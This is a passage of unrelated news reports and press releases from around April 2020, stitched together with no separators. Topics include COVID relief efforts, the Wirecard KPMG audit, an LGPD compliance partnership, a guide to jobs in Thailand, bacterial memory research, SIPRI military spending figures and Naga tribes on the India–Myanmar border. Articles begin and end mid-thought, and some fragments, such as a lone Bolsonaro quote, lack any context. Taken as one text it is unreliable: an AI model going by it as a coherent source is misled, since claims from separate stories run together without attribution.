clinics and more.These cuts are dangerous to citizens. But they shouldn't be necessary. The economic crisis has been brought about through no fault of state and local leaders or their constituents. Critically, unlike the federal government, states can't simply print money or deficit-spend.The funds designated to support state and local governments in the previous round of stimulus investments were insufficient but at least a start, particularly if states gain more flexibility to spend those funds where they are most needed, not just on COVID-19-related expenses. Flexibility in addition to more funds will help governors avoid having to make deep cuts that would set back their constituents for years to come.GoverningGoverning There is a growing need to support victims of domestic violence as there is increased demand for shelters during the pandemic, and we are pleased to work with the city of Chicago and The Network to help fill this transitional housing need, Kelley Gossett, head of Chicago Policy for Airbnb, said in a statement. By connecting The Network with accommodations, we hope to help Chicago domestic violence survivors get to a place to stay as quickly as possible. It's a family gathering every Monday night; sharing food, a cuppa, conversations, and kindness. But this family gathering is a little larger than most. 'Milo Night', as it's known, brings 150 people in our community together at the Willow Street bus stop each week, to be greeted by the warm welcome of Street Kaia charity feeding the homeless. And it's not just food. Supplying toiletries, clothing, dog food, haircuts or even a chat with a medic, they care for those in need in our community. The service, which usually runs for 1 to 2 hours, sees the Street Kai 'Auntys' cook and bring food down to the bus stop, where it is shared and taken away by our community. With all ages, ethnicities, and genders present, there are few rules other than turning phones off and showing kindness. But since the lockdown, these gatherings are looking different. With permission from Civil Defence, the charity has been providing their service for 30 minutes each Monday. Street Kai Secretary Pip Brook says the turnout has more than halved, with around 60 attending each week. "These are the ones who can get to us most easilya lot of them have been put in motel rooms, so they will still come to Milo Night. I feel that as we shift back to level 3 and 2, we will get an increased number back at the bus stop." Food is served in takeaway form, consisting of a kai box and food and water for the next day. The 2m physical distancing guidelines are adhered to, and a maximum of 5 Auntys are present to help. But the item they are most struggling to source is affordable clothing. "There is usually a huge demand for undies and socks, but right now we have no access to them and can't buy them online cheaply enough," says Pip. Pip says the homeless community are doing well, despite the significant adjustment in living arrangements. "To them, this is not much different to normal, except now everyone wants to give them foodnot many did before. "Their anxieties have increased as they are now in rooms, by themselves, and they are not quite sure of the rules. It can feel like a prison, shut up all day. "While they have no access to clothes, they can take a shower daily, which is great. They are happy to have that room for now, as long as that lasts they feel safer and are adjusting to sleeping in a bed." To support Street Kai's work during the lockdown, $5,000 in funding was approved by local funders TECT, Acorn Foundation, BayTrust and Tauranga City Council through the Rapid Response Fund. TECT Trustee Amanda Sutcliffe says the fund, which aims to support those community groups facing increased demand or a funding shortfall due to COVID-19, was a new collaborative approach. "Working together, we can provide effective, impactful funding where it is needed most. We have made the process simple for community groups like Street Kai to access the funds they need quickly. "We're pleased to see Street Kai continuing their work during this time and adapting. Even something as simple as providing an extra days' worth of non-perishable food will go a long way to ensuring our homeless community is fed and safe through the lockdown." To learn more about Street Kai, visit https://www.streetkai.org/. [April 28, 2020] AGORA and Jerovia Expand Partnership in Brazil to Meet LGPD Compliance Needs SAO PAULO, ZURICH and TORONTO, April 28, 2020 /PRNewswire/ -- Brazil-based Jerovia Solucoes de Seguranca da Informacao Ltda and AGORA SecureWare announced today a furthering of their partnership in order to deliver a comprehensive compliance solution in the face of Brazil's new data privacy act, Lei Geral Protecao de Dados (LGPD). The General Data Protection Law addresses the collection, handling, storage and sharing of personal data managed by organizations and affects Brazil's approximate 150 million internet users. Organizations doing business in and with Brazilian entities must comply with these new data protection laws. Jerovia has added AGORA's Compliance Modules to its current AGORA security offerings for the Brazilian market, helping organizations comply with LGPD while being secure from external threats. The dedicated Brazilian Compliance Modules detect sensitive personal, financial and health content covered under LGPD and scans them for sensitive content such as CPF, RG, specific terms, patterns and identifiers. The solution supports all standard file formats and works in nine languages, including Portuguese. Companies auto-set security and access policies for their content, and permissions to the LGPD-sensitive documents can be controlled at an enterprise level for both internal and external users depending on their role and granted access controls. Everything is encrypted and fully auditable. "With LGPD compliance being at the forefront of people's minds, we are excited to bring AGORA's Compliance Modules into our offering for our customers in Brazil and Latin America." Paulo Camargo, Maaging Partner at Jerovia Solucoes de Seguranca da Informacao Ltda. "We are delighted to expand our partner relationship in the Brazilian market with Jerovia. Their leadership team is outstanding and their market experience and subject matter expertise in the security and LGPD compliance space should give clients comfort in knowing that their content is safe." Peter Ling, Chief Operating Officer at AGORA SecureWare. Sensitive data and transactions through the AGORA platform, including video and audio, are encrypted, while documents are automatically scanned, categorized, classified and encrypted. The document's entire life cycle is secured and only authorized users can securely access the content. AGORA SecureWare Compliance Modules for Brazil's LGPD are available immediately through Jerovia. About AGORA SecureWare SA AGORA is a drag-and-drop, compliance-driven, ultra-secure platform for file sharing, collaboration and productivity in the cloud. It enables ongoing compliance and security life-cycle management, giving greater control over sensitive content. AGORA is trusted globally by leading financial, insurance, healthcare, government and telecom organizations. For more information: www.agora-secureware.com. About Jerovia Jerovia is a Brazilian company that provides the market with cutting-edge information security solutions. Its founding partners have over 40 years of experience in the technology sector, both in Brazil and several countries throughout Latin America, Europe and the United States, and are recognized professionals who bring a track history of deep project experience with public and private companies. For more information: www.jerovia.com.br. Contact: Alex Johnson +1 438-822-5349 [email protected] Related Images image1.jpg View original content to download multimedia:http://www.prnewswire.com/news-releases/agora-and-jerovia-expand-partnership-in-brazil-to-meet-lgpd-compliance-needs-301048131.html SOURCE AGORA SecureWare SA [ Back To TMCnet.com's Homepage ] Homicide detectives are appealing for the public's help as they investigate the mysterious fatal bashing of a man in the stairwell of a western Sydney unit complex in the middle of the day. A motive for the attack that left 42-year-old Vergel Velasquez unconscious in the stairwell of a Girraween block with severe injuries was "really unclear", homicide squad boss Detective Superintendent Danny Doherty said on Tuesday. Mr Velasquez died 24 hours later, in Westmead Hospital on New Year's Eve. "It's clear from what we've found so far that he was a non-violent person, he wouldn't harm anyone," said Superintendent Doherty. Wirecard shares crash 26% after critical KPMG audit Braun of Wirecard AG attends the company's annual news conference in Aschheim By Douglas Busvine BERLIN (Reuters) - An independent investigation by auditor KPMG into Wirecard found on Tuesday the German payments company did not provide sufficient documentation to address all allegations of accounting irregularities made by the Financial Times. Following the release of the report, Wirecard said the KPMG audit had not uncovered any incriminating evidence to support allegations it manipulated its accounts and it would not restate its accounts for the years 2016 through 2018. "I would like to underline that, overall and in every point, the allegations were not confirmed," CEO Markus Braun told a conference call with reporters. KPMG is continuing its analysis for last year after receiving fresh data, Wirecard said on Tuesday, as it delayed the publication of its annual results until next month. The German payments company hired KPMG last year to conduct an independent audit to address allegations by the British newspaper, including that its Singapore office had booked fake transactions to inflate revenues. The company has denied wrongdoing and taken legal action against the Financial Times. In its own report on the KPMG audit, the FT said it stood by its reporting and is defending the lawsuit. Wirecard, founded in 1999, has profited from a boom in online payments by acting both as an acquirer, handling payments to hundreds of thousands of merchants, and as an issuer of real and 'virtual' payment cards to consumers. Under Braun, who remains its largest shareholder, it won a spot in Germany's blue-chip DAX 30 <.GDAXI> index in 2018. The allegations have dogged the company over the past year, however, repeatedly wiping billions off its stock market value. Publication of the KPMG audit sparked heavy losses that deepened as Braun faced tough questioning on a conference call with analysts. Shares were down 26%, erasing more than 4 billion euros from the company's market value. "This is anything but a clean bill of health," said NordLB analyst Wolfgang Donie, who has a 'hold' rating on the stock. Story continues BLACK HOLE The main FT allegation where KPMG found fault was that Wirecard had booked half of its worldwide revenues and much of its profits from three obscure third-party acquiring partners. KPMG said it was not able to conclude whether these revenues did or did not exist for the years 2016-18. "The documents presented to KPMG were almost exclusively in electronic form, making their authenticity impossible to verify," it said, also pointing to a lack of cooperation from Wirecard's third-party acquiring partners. NordLB's Donie said the years 2016 to 2018 "remain a black hole" that left Wirecard "wide open to further allegations". KPMG also addressed allegations by the FT of fraudulent accounting at its Singapore office and overpaying for assets in India, and from anonymous website MCA-Mathematik of inflating the size of cash advances to merchants. "We cannot make a final judgment on whether the documentation and information are complete, correct and free of contradiction," KPMG said in its 58-page report https://www.wirecard.com/transparency. "To this extent, we cannot rule out that we would have come to a different result if we had obtained access to further information and documents." Wirecard either did not provide documents requested by KPMG, or only did so months later, delaying the overall investigation, KPMG said, adding that interviews with managers had been postponed repeatedly. MCA-Mathematik said in a statement that Wirecard had "intentionally misled investors about the nature of the merchant cash advance lending programme" and called for the executive board to be suspended. Singapore police confirmed that an investigation opened last year was continuing but did not comment further on KPMG's report. (Additional reporting by Patricia Uhlig, Hans Seidenstuecker and Aradhana Aravindan; Editing by Michelle Martin and Josephine Mason) Indian-Americans in the US are distributing free meals, masks and other supplies to those engaged on the frontlines to combat the deadly coronavirus in the country, which is the worst hit by the pandemic with over 56,000 deaths. In New York City, Suraj Patel, who is running for the US House of Representatives, has announced a partnership with Amrapali Soni, co-president of House of Spices, to provide USD 10,000 worth of food to healthcare workers and the most vulnerable communities. In New Jersey, Edison township's Mayor Thomas Lankey joined an effort by the local Indian-American community to distribute masks, hand sanitisers, snacks and bags of therapeutic spices to those fighting the deadly virus on the frontlines. Hindu Texans from across North Texas joined hands to provide more than 15,000 meals to frontline workers and first responders. The community has also delivered meals to Parkland Hospital, UT Southwestern Medical Center, to several hospitals in the Baylor and Methodist systems as well as several police and fire stations in the cities of Dallas and Plano. The meals were provided by businesses owned by Hindu Americans like Little Caesars, Subway, Genghis Grill. The Dallas-Fort Worth Hindu community appreciates the health care workers, first responders, local communities and others who are on the frontlines working to contain this pandemic, said community leader Ashok Mago. In Indianapolis, community leader Gurinder Singh Khalsa has started a nationwide free mask delivery to first responders and healthcare workers. We want to get the masks into the hands of the people who need them as quickly and cheaply as possible, Khalsa said after launching a drive-thru masks facility that allows customers to pick up their masks and filters. In Georgia, Indian-American-led businesses are providing free meals to the needy amid the coronavirus pandemic. With this new effort, we will be able to feed hundreds of food-challenged citizens in Norcross and surrounding areas, Norcross Mayor Craig Newton said in a statement. In Silicon Valley, Bochasanwasi Shri Akshar Purushottam Swaminarayan Sanstha Charities donated over 38,000 pieces of PPE to several hospitals. Sewa International donated 30,000 N95, KN95 and 3ply masks and 20,000 ounces of hand sanitiser to healthcare workers, police officers, fire fighters and hospital staff in an invitation-only drive-through event in Houston as part of its COVID-19 relief efforts. The organisation distributed the protective gear to about 100 agencies, including county officials and the Sheriff's Department in the city. We plan to continue this drive every week until the situation improves, Gitesh Desai, President of Sewa International Houston Chapter, said. The deadly coronavirus, which originated in China late last year, has so far killed more than 200,000 people and infected over three million globally. The largest number of them are in the US with more than 56,000 deaths and nearly one million infections. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Bolsonaro called the allegations baseless. He said that he did not try to shield family members from police investigations and that the appointment of the head of police was his to decide. The prerogative is mine, and the day I have to submit to any of my subordinates, I cease to be president of the republic, he told reporters last week. According to a census executed in 2010, there are more than 2.5 million foreigners living in Thailand, which is about 3.87% of Thailand's total population. This number excludes the ever increasing amount of tourists and visitors (some more than 30 million in 2016) that come throughout the year. The foreigners who live in Thailand need something to do there, and the country offers enough jobs for them. Below are some lucrative jobs that a foreigner can do there and earn enough to live. The Prerequisites Just as in other countries, and probably in every country, Thailand has lots of opportunities open to all. But they need some prerequisites. For example: 1. Skill: You cannot get a job anywhere if you don't have any skills. By the word 'skill' we mean one or more abilities to do something. You may be good at speaking English, you may be good at fixing problems with fridges (generally called a mechanic), or you have experience in guiding tourists who come to Thailand for the first time. Whatever skills you have, there are jobs for you. 2. Education Level and Type Aside from your skills, your education speaks a lot about you. If you're well educated and have a prominent certificate like Microsoft Technology Associate or Google Digital Unlocked course, chances are that they are going to search for you and offer you a lucrative job. 3. Crossing the Real Life Hurdles Let's suppose you have all the qualities and skills to get a job in Thailand. You might still have other problems. Thailand is a booming country with ever-increasing modern facilities and technologies that always come coupled with some intrinsic complications. The bureaucracy and the frantic pace, for example, don't suit most foreigners, and it takes a fairly long time to get accustomed to the customs and lifestyle of such a speeding socio-economic trend and culture. Then comes the question of a job permit. That's another battle for those who have first stepped in cities like Bangkok. The problems include city restrictions and visa issuance. A description of problems with work permits and legal consequences is detailed on this site. Job Opportunity Types In Thailand, there are a number of lucrative jobs for which you can apply. You can find the information from different sources such as newspapers, social media, etc. Also, there are some websites that will provide you with information about jobs worker service in Bangkok. 1. English or Foreign Language Teacher The demand for a teacher who has a fairly good command of English or other popular languages is ever on the increase. If you are quite fluent and/or natural in any of the languages and, most importantly, if you have the ability to teach the language you shouldn't have problems finding a good job there. But you need to remember two basic things here: a) Knowing a language does not mean that you have to know the grammatical aspects of the language. In fact, grammar is the analytical aspect of any language; it has little to do with using it in real life, which is the main part of knowing a language. If the language you're going to teach is your native language, it's quite fine. But if English is not your native language, you have to sound as natural and as non-stilted as possible. b) Teaching itself needs certain skills. Only knowing the language is just one part. The main part is to know how to teach it in the best possible way. Then there are the other specific requirements like teaching in a high school or in a class of businessmen. Each class requires a different plan, a different approach, and a different way of teaching. The salary is somewhat well-to-do. The general range of payment of an English teacher who doesn't have a special skill or certification course on English language is from 30000 to 40000 baht. Specially skilled and highly demanded teachers might earn even four or five times the above range. Teaching foreing languages (mostly English) is a pretty good profession that allows you to experience the Thai lifestyle firsthand and earn not only money but also honor and respect because Thai people consider teachers as respected members of their society. There are, however, lesser chances to professionally progress in this sector, and you're likely to remain in the same position for years. 2. The Hotel Industry With millions of foreigners and businessmen continuously coming in and out of the cities, the hotels are always busy, and so are the job seekers who expertise in hotel management, speaking multiple languages, music, and guest relations. What is even more interesting is that the hotel industry is thriving in main cities like Bangkok, Pattaya, Phuket, Ayutthaya, and Chiang Mai. Job opportunities are also growing for those who are smart, extroverted, and, essentially, slick. The earning range is no less than the previously stated teaching profession, and there is a great chance to move up the ladder to one of the highest paid positions. For those who can and like to be sociable, friendly, and work alongside people, this job should be their first choice. 3. Scuba Diving Instructor Having a total of 2815 km of shoreline, Thailand is very prospective with scuba diving instructors. Every year, millions of tourists bathe on the shore, and very often so many of them get interested in scuba diving. Gleefully, scuba instructors are always ready to help them and guide them through the extraordinary experience of exploring the underwater seabed. To become a scuba diving instructor, you certainly need the certification. Some excellent courses like the one offered by the PADI will cost you something around $6500 and four months to complete. Once you finish, the thousands of kilometers of shoreline is yours. First, you assist the scuba masters and gradually you become a master yourself. How much would you make? From 12000 baht or more in 4 days. The only demerit can be that scuba diving is a seasonal job, and you might need to do a lot of marketing for that seasonal job. 4. Actor or Model This is always an attractive profession for the youngsters, especially for those who have completed at least a basic 4-year diploma course. Today, the cinema and advertising industry has come to such a practical vision point that you don't need a good face or macho-man like body structure to attract audiences. Expressiveness is everything here, and everything is welcome whether you express it in comedy, parody, drama, or martial art. Wages range from 2000 to 100000 baht, depending on your position. Needless to say, that's quite a part time job if you're not a renowned actor. 5. Your Own Business There is no problem if none of the above positions suit you. There are a wide variety of businesses you can do yourself. It could be as simple as selling street food (whatever you think about it, it's quite profitable and needs comparatively less investment) or prestigious ones like IT training institutions or specialty bars. But you need to be specifically aware of the laws and bureaucratic obstacles surrounding these jobs, such as that you cannot own more than 40% of a business. For more detailed job regulations and the legal ways around them in Thailand, visit this website. Final Words Throughout the job world, there are competitions of skills and marketing. All you need is to have strong will, integrity, and persistence. Good luck with your job hunt in Thailand! HARVEY, La., April 28, 2020 /PRNewswire/ -- After a stellar first quarter, online ammunition retailer, Ammo.com, announces the company voluntarily donated $9,405.21 across multiple organizations and charitable causes a 186% increase compared to 2019's first-quarter donations. The company's Freedom Fighter Support program allows its customers to choose one of 16 patriotic groups to receive a portion of their purchase total, with no additional fees. Online Ammo Retailer Donates Over $9,000 to Pro-Freedom Organizations This is the largest quarterly donation since Ammo.com has launched its FFS program. The leader in first-quarter contributions was $3,361.54 to the Wounded Warriors in Action Foundation a 55% increase compared to donations made to WWIA in the entire year of 2019. This is also the first time the WWIA was the top organization chosen by Ammo.com customers. Coming in second was the National Rifle Association (Ammo.com's usual customer favorite), which received $1,926.21, more than half of their 2019 total. The Second Amendment Foundation was also a first-quarter favorite in 2020, with $1,332.56 almost as much as they received in all of last year. The Armed Citizens' Educational Foundation also received a first-quarter donation of $1,322.16, up 23% compared to all of 2019. Ammo.com has donated to pro-freedom organizations for almost a decade, but the numbers for 2020's first quarter are significantly higher than previous years. In 2019, the company's contributions totaled $12,466.83. But in only the first three months of 2020, Ammo.com donated more than 75% of this amount, foreshadowing a record-breaking year for the FFS program. In March alone, the company saw a 473% increase in donations due to a surge in ammunition sales the company experienced in the last few months, which led to a 574% increase in transactions by the end of March. Ammo.com's marketing manager, Alex Horsman, said of the donation program, "We believe that Second Amendment rights exist to preserve all of the others. The organizations we support are defenders of these rights whether it's in our courts, through our legislative bodies, on the front lines of our military, or in the ballot box." To date, Ammo.com has contributed over $100,000 through its FFS program, which is currently open to the submission of organizations across the nation that fight for the rights and liberties of Americans. Those who are interested can submit an application on Ammo.com's Freedom Fighter Support page . ABOUT AMMO.COM Ammo.com is an American online ammunition retailer that offers great prices, fast shipping, and live American customer support. It also uses a real-time inventory management system that keeps the site constantly up-to-date on stock, ensuring no surprises come checkout. But the company does more than just sell ammo, it also provides an array of information and resources in its Resistance Library . Ammo.com's mission is to arm Americans, both physically and philosophically, to fulfill the Founding Fathers' intent with the Second Amendment: to protect the country from its government by keeping the state in check. At the end of the day, Ammo.com has two passions, its customers and America's freedom. And it strives to do its part in preserving the country's liberties. That's why it's known as America's Pro-Freedom Ammo Source. Follow Ammo.com on Facebook , Twitter , and Instagram . Media Contact: Alex Horsman Ammo.com 1901 Manhattan Blvd. Building D PMB #300 Harvey, LA 70058 https://ammo.com 800-604-1094 [email protected] SOURCE Ammo.com Related Links https://www.ammo.com Welcome Guest! You Are Here: Several innovations have come up at various IITs to deal with the growing crisis. IIT Bhubaneswar has designed a safe and multi-surface sanitiser using UVC light for the disinfection of devices. "You can place an infected object into the chamber and once it gets exposed to ultraviolet light, the device would be disinfected within 15 minutes," said Prof RV Raja Kumar, Director, IIT, Bhubaneswar, speaking about the ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor SHANGHAI, April 27 (Xinhua) -- Shanghai Municipality on Monday partially reopened high schools, with seniors being the first batch to resume classes on campus. At 7 a.m., students wearing masks took temperatures, disinfected their hands and kept one-meter away from each other in line to enter the Shanghai Shidong High School. After a long period of online classes amid the epidemic, classmates finally met each other in person. "It feels like meeting with netizens," said a student waiting in line who only gave his surname as Wang. Li Li, vice president of the school, said the school carried out several drills before the reopening and also held on-line parents' meetings, informing parents and students of the epidemic prevention and control requirements in advance. Based on relevant regulations, teachers and students should be offered masks and places like the canteen, dormitories, classrooms, washing basins and toilets should be disinfected regularly every day. The schools with an existing number of 100 teachers and students or more are required to be equipped with a thermal image screening machine at the gate. In the First Affiliated Middle School of East China Normal University, teachers prepared psychological counseling for the students in their first class apart from epidemic prevention and control knowledge. Lu Panliang, president of the school, said a few students were not well prepared mentally because of the prolonged vacation caused by the epidemic. "We have asked teachers to help students get used to school life and provided them with assistance in psychological counseling subject to different situations of individuals," Lu said. Lu Jing, director of the Shanghai Municipal Education Commission, said schools are required to make reasonable teaching plans to enable students to get ready for examination as soon as possible. Affected by the novel coronavirus epidemic, China's national college entrance exam will be postponed by one month to July 7 and 8, according to the Ministry of Education. Prime Minister Narendra Modi tweeted on Tuesday that he had an exchange with his Canadian counterpart Justin Trudeau over coronavirus pandemic. Prime Minister said he thanked Trudeau for looking after Indian citizens in Canada well and stressed on the need for collaboration with Canada for fighting the pandemic.w Had a warm exchange with PM @JustinTrudeau. Thanked him for looking after Indian citizens in Canada in these difficult times. Collaboration and partnership between India and Canada is vital to fighting the pandemic including through medical research and supply chain management, PM Modi tweeted. Canada is home to leading global pharmaceutical companies and is also known for advance medical research. It has close to 50,000 cases of Covid-19 infections and nearly 2,800 have died there. Positive cases in India have crossed the 29,000-mark with under 1000 deaths. Modi has been holding discussions with several heads of states as the world grapples with the pandemic that has infected over 3 million people across the globe. Earlier today, he tweeted about discussing the progress of coroanvirus containment efforts with President Joko Widodo of Indonesia, who had thanked Prime Minister Modi for sending essential pharma supplies in the times of crisis. Discussed COVID-19 pandemic with good friend President @Jokowi. As close maritime neighbours and Compreshensive Strategic Partners, close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis, PM said. For Coronavirus Live Updates On April 22, he had spoken to Irelands PM Leo Varadkar. Discussed COVID-19 pandemic with Irelands PM, Mr. @LeoVaradkar. India and Ireland share similar approaches on many global issues. We will work together to further strengthen our partnership in health, science & technology, to jointly address challenges of the post-COVID world, PM had said. India has helped several friendly countries and its neighbours with medical supplies and other assistance including expertise and manpower to fight coronavirus and the prime ministers leadership and outreach has been appreciated widely. The HT Guide to Coronavirus COVID-19 Biologists studying collectives of bacteria, or "biofilms," have discovered that these so-called simple organisms feature a robust capacity for memory. Working in the laboratory of University of California San Diego Professor Gurol Suel, Chih-Yu Yang, Maja Bialecka-Fornal and their colleagues found that bacterial cells stimulated with light remembered the exposure hours after the initial stimulus. The researchers were able to manipulate the process so that memory patterns emerged. The discovery reveals surprising parallels between low-level single-cell organisms and sophisticated neurons that process memory in the human brain. "Even just a few years ago people didn't think bacterial cells and neurons were anything alike because they are such different cells," said Suel. "This finding in bacteria provides clues and a chance to understand some key features of the brain in a simpler system. If we understand how something as sophisticated as a neuron came to be -- its ancient roots -- we have a better chance of understanding how and why it works a certain way." The findings, described April 27 in the journal Cell Systems, also provide a starting path for scientists to one day design basic computing systems with living organisms such as bacteria. Following recent discoveries by the Suel lab that bacteria use ion channels to communicate with each other, new research suggested that bacteria might also have the ability to store information about their past states. In the new study, the researchers were able to encode complex memory patterns in bacterial biofilms with light-induced changes in the cell membrane potential of Bacillus subtilis bacteria. The optical imprints, they found, lasted for hours after the initial stimulus, leading to a direct, controllable single-cell resolution depiction of memory. "When we perturbed these bacteria with light they remembered and responded differently from that point on," said Suel. "So for the first time we can directly visualize which cells have the memory. That's something we can't visualize in the human brain." The ability to encode memory in bacterial communities, the researchers say, could enable future biological computation through the imprinting of complex spatial memory patterns in biofilms. "Bacteria are the dominant form of life on this planet," said Suel. "Being able to write memory into a bacterial system and do it in a complex way is one of the first requirements for being able to do computations using bacterial communities." Further, as the researchers note in the study: "It may thus be possible to imprint synthetic circuits in bacterial biofilms, by activating different kinds of computations in separate areas of the biofilm... Overall, our work is likely to inspire new membrane-potential-based approaches in synthetic biology and provide a bacterial paradigm for memory-capable biological systems." Authors of the study included: Chih-Yu Yang, Maja Bialecka-Fornal, Colleen Weatherwax (graduate student), Joseph Larkin, Arthur Prindle, Jintao Liu, Jordi Garcia-Ojalvo and Gurol Suel. The study was supported by the National Institute of General Medical Sciences (R01 GM121888), the Howard Hughes Medical Institute-Simons Foundation Faculty Scholars program, the Spanish Ministry of Science, Innovation and Universities and FEDER (PGC2018-101251-B-I00), Maria de Maeztu Programme for Units of Excellence in R\&D (CEX2018-000792-M) and the Generalitat de Catalunya (ICREA Academia programme). As the coronavirus outbreak ebbs in China, the countrys companies and officials have made big strides in restarting its economy. Its factories, brought to a standstill when the coronavirus outbreak swept through the country in January, are humming again, and even the air pollution is coming back. But empowering consumers could be the tougher task, writes Keith Bradsher of The New York Times. Many lost their jobs or had their pay slashed. Still others were shaken by weeks of idleness and home confinement, a time when many had to depend on their savings to eat. For a generation of young Chinese people known for their American-style shopping sprees, saving and thrift hold a sudden new appeal. Chinas consumer confidence problem offers potential lessons for the United States and Europe, which are only beginning to plan their recoveries. Even if companies reopen, the real challenge may lie in enabling or persuading stricken and traumatized consumers to start spending money again. A number of economists have called on China to do more to help consumers. The United States and other countries have unleashed major spending programs that include direct payments to households, but China has largely refrained so far, in part because of debt concerns. Total global military expenditure rose to $1917 billion in 2019, according to new data from the Stockholm International Peace Research Institute (SIPRI). The total for 2019 represents an increase of 3.6 percent from 2018 and the largest annual growth in spending since 2010. World military expenditure, by region, 19882019 (SIPRI) The five largest spenders in 2019, which accounted for 62 percent of expenditure, were the United States, China, India, Russia and Saudi Arabia. This is the first time that two Asian states have featured among the top three military spenders. The comprehensive annual update of the SIPRI Military Expenditure Database is accessible at www.sipri.org. Global military spending in 2019 represented 2.2 percent of the global gross domestic product (GDP), which equates to approximately $249 per person. Global military expenditure was 7.2 percent higher in 2019 than it was in 2010, showing a trend that military spending growth has accelerated in recent years, says Dr. Nan Tian, SIPRI Researcher. This is the highest level of spending since the 2008 global financial crisis and probably represents a peak in expenditure. The United States drives global growth in military spending Military spending by the United States grew by 5.3 percent to a total of $732 billion in 2019 and accounted for 38 percent of global military spending. The increase in US spending in 2019 alone was equivalent to the entirety of Germanys military expenditure for that year. The recent growth in US military spending is largely based on a perceived return to competition between the great powers, says Pieter D. Wezeman, Senior Researcher at SIPRI. China and India top Asian military spending In 2019 China and India were, respectively, the second- and third-largest military spenders in the world. Chinas military expenditure reached $261 billion in 2019, a 5.1 percent increase compared with 2018, while Indias grew by 6.8 percent to $71.1 billion. Indias tensions and rivalry with both Pakistan and China are among the major drivers for its increased military spending, says Siemon T. Wezeman, SIPRI Senior Researcher. In addition to China and India, Japan ($47.6 billion) and South Korea ($43.9 billion) were the largest military spenders in Asia and Oceania. Military expenditure in the region has risen every year since at least 1989. Germany leads military expenditure increases in Europe Germanys military spending rose by 10 percent in 2019, to $49.3 billion. This was the largest increase in spending among the top 15 military spenders in 2019. The growth in German military spending can partly be explained by the perception of an increased threat from Russia, shared by many North Atlantic Treaty Organization (NATO) member states, says Diego Lopes da Silva, Researcher at SIPRI. At the same time, however, military spending by France and the United Kingdom remained relatively stable. There were sharp increases in military expenditure among NATO member states in Central Europe: for example, Bulgarias increased by 127 percentmainly due to payments for new combat aircraftand Romanias rose by 17 percent. Total military spending by all 29 NATO member states was $1035 billion in 2019. In 2019, Russia was the fourth-largest spender in the world and increased its military expenditure by 4.5 percent to $65.1 billion. At 3.9 percent of its GDP, Russias military spending burden was among the highest in Europe in 2019, says Alexandra Kuimova, Researcher at SIPRI. Volatile military spending in African states in conflict Armed conflict is one of the main drivers for the volatile nature of military spending in sub-Saharan Africa. For example, in the Sahel and Lake Chad region, where there are several ongoing armed conflicts, military spending in 2019 increased in Burkina Faso (22 percent), Cameroon (1.4 percent) and Mali (3.6 percent) but fell in Chad (5.1 percent), Niger (20 percent) and Nigeria (8.2 percent). Among Central African countries that were involved in armed conflict, military spending in 2019 rose overall. The Central African Republic (8.7 percent), the Democratic Republic of the Congo (16 percent) and Uganda (52 percent) all increased military spending in 2019. Volatile military spending in African states in conflict South America: Military expenditure in South America was relatively unchanged in 2019, at $52.8 billion. Brazil accounted for 51 percent of total military expenditure in the sub-region. Africa: The combined military expenditure of states in Africa grew by 1.5 percent to an estimated $41.2 billion in 2019the regions first spending increase for five years. Southeast Asia: Military spending in South East Asia increased by 4.2 percent in 2019 to reach $40.5 billion. The average military spending burden was 1.4 percent of GDP for countries in the Americas, 1.6 percent for Africa, 1.7 percent for Asia and Oceania and for Europe and 4.5 percent for the Middle East (in countries for which data is available). Coronavirus crisis impact Data from previous global economic downturns suggests that the economic crisis resulting from the coronavirus disease 2019 (COVID-19) pandemic will probably disrupt future military spending. SIPRI is monitoring current developments to assess the extent of this crisis on military spending. All percentage changes are expressed in real terms (constant 2018 prices). Military expenditure refers to all government spending on current military forces and activities, including salaries and benefits, operational expenses, arms and equipment purchases, military construction, research and development, and central administration, command and support. SIPRI, therefore, discourages the use of terms such as arms spending when referring to military expenditure, as spending on armaments is usually only a minority of the total. Dozens of Naga tribes yearn to reunite the 3 million living in India with their 400,000 estranged cousins in Myanmar. The king of the Konyak tribe sleeps in Myanmar, but eats in India his house, village and people divided by a mountain border which serves as a vulnerable lifeline now severed by a coronavirus lockdown. The Konyak are just one of dozens of Naga tribes, a people yearning to reunite the 3 million living in India with their 400,000 estranged and much poorer cousins in Myanmars isolated far north. Many from Myanmar cross the border to attend school, sell vegetables or visit a hospital, as it is a days-long journey by foot to the nearest town in Myanmar. Even in normal times, they live at the mercy of Indian soldiers guarding checkpoints against the threat of armed groups fighting for reunification. Tonyei Phawng claims to be the 12th generation of his family to rule the Konyak, whose feared tattooed warriors once brought home their enemies heads as trophies. His son, the crown prince, will one day take over in a lineage many believe possess supernatural powers. Dressed in a tracksuit and trainers in his village of Longwa, the 43-year-old king described to AFP news agency in February how his Myanmar brothers were often stopped at the border and detained as they were trying to enter India. Their rights are denied. Days later, the border was shuttered, not at the whim of Indian soldiers, but because of COVID-19. For the town of Longwa, which straddles the border, the shutdown has impacted the two sides differently. The Indian government was providing some emergency rations, but Myanmars authorities were not doing the same on their side of the border, Longwa-based tour guide Nahmai Konyak, 34, told AFP by telephone. Those living hand-to-mouth in Myanmar are finding it very difficult, he said. We just cant help them. Brainwashed brothers Retreating British colonialists left behind the frontier after World War II, cleaving the Konyak tribe of 44 villages in two alongside several other tribes. The Naga on both sides enjoy some degree of autonomy, but there is a huge disparity in the level of development. Indian roads lead right up to the frontier, bringing business and even some hardy tourists. Over the border, off-grid villages with few schools or amenities dot thickly-forested slopes, connected by muddy paths in one of Myanmars poorest regions. Thousands of Naga have taken up arms over the decades to try to win a united homeland by force. The rebels splintered in the late 80s into two main groups, one fighting for the Naga cause each side of the border. Civilians must pay taxes to help finance the groups and many families sacrifice a son to the resistance, says Myanmar Naga activist Jacob Ngansa. But New Delhis relative investment is chiselling away support over the border, the 23-year-old admits with sadness. They are brainwashed by the Indian government. With India-Myanmar relations blossoming, these are ominous times for Naga nationalists. Myanmar is hungry for new allies after being snubbed by the West over the Rohingya crisis, while India is keen to counter Chinas regional 